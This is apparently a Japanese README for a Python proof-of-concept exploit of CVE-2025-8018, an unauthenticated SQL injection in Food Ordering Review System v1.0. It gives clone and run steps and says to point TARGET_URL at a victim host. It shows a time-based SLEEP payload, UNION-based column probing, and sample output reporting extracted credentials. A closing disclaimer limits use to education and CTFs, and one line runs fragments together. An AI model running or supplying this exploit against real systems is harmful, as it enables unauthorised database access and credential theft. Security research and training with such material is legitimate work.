
CVE-2025-8018のPython PoCエクスプロイト。Food Ordering Review System v1.0の重大な未認証SQLインジェクション。倫理的ハッキングとCTFトレーニングのための時間ベースのブラインドおよびUNIONベースのデータ抽出をサポートします。
このリポジトリは、Food Ordering Review System v1.0 で発見された高深刻度のSQLインジェクション脆弱性 CVE‑2025‑8018 に対するPythonの概念実証(PoC)エクスプロイトを提供します。この脆弱性は、reservation_page.php の reg_Id パラメータを介してトリガーされます。
/user/reservation_page.phpreg_Idusers テーブルからのデータ抽出などが可能になります。SLEEP()UNION SELECT NULL,NULL,...を使用)requests ライブラリ依存関係をインストールします:
pip install requests
使用方法 リポジトリをクローンします:
git clone https://github.com/drackyjr/CVE-2025-8018.git
cd CVE-2025-8018
ターゲットURLを更新します:
cve-2025-8018.py を開いて次のように変更します:
TARGET_URL = "http://TARGET-IP/user/reservation_page.php"
TARGET-IP を脆弱なシステムの実際のアドレスに置き換えてください。
エクスプロイトスクリプトを実行します:
python3 cve-2025-8018.py
[*] Checking time-based SQLi with payload: 1 AND SLEEP(5)--
[+] Blind SQL injection confirmed!
[*] Testing how many columns the query expects...
[+] Looks like 3 columns work!
[*] Trying to extract data using UNION-based SQL injection...
[+] Found potential credentials in the response!
[*] Trying blind extraction fallback...
[+] Username is 7 characters long!
このPoCは、CTFチャレンジ、サイバーセキュリティトレーニング、または自身のシステムでの防御テストなど、教育目的でのみ提供されます。
本コードを本番環境や明示的なテスト許可がないシステムに対して使用しないでください。作者および関連当事者は、コードの誤用や損害について一切責任を負いません。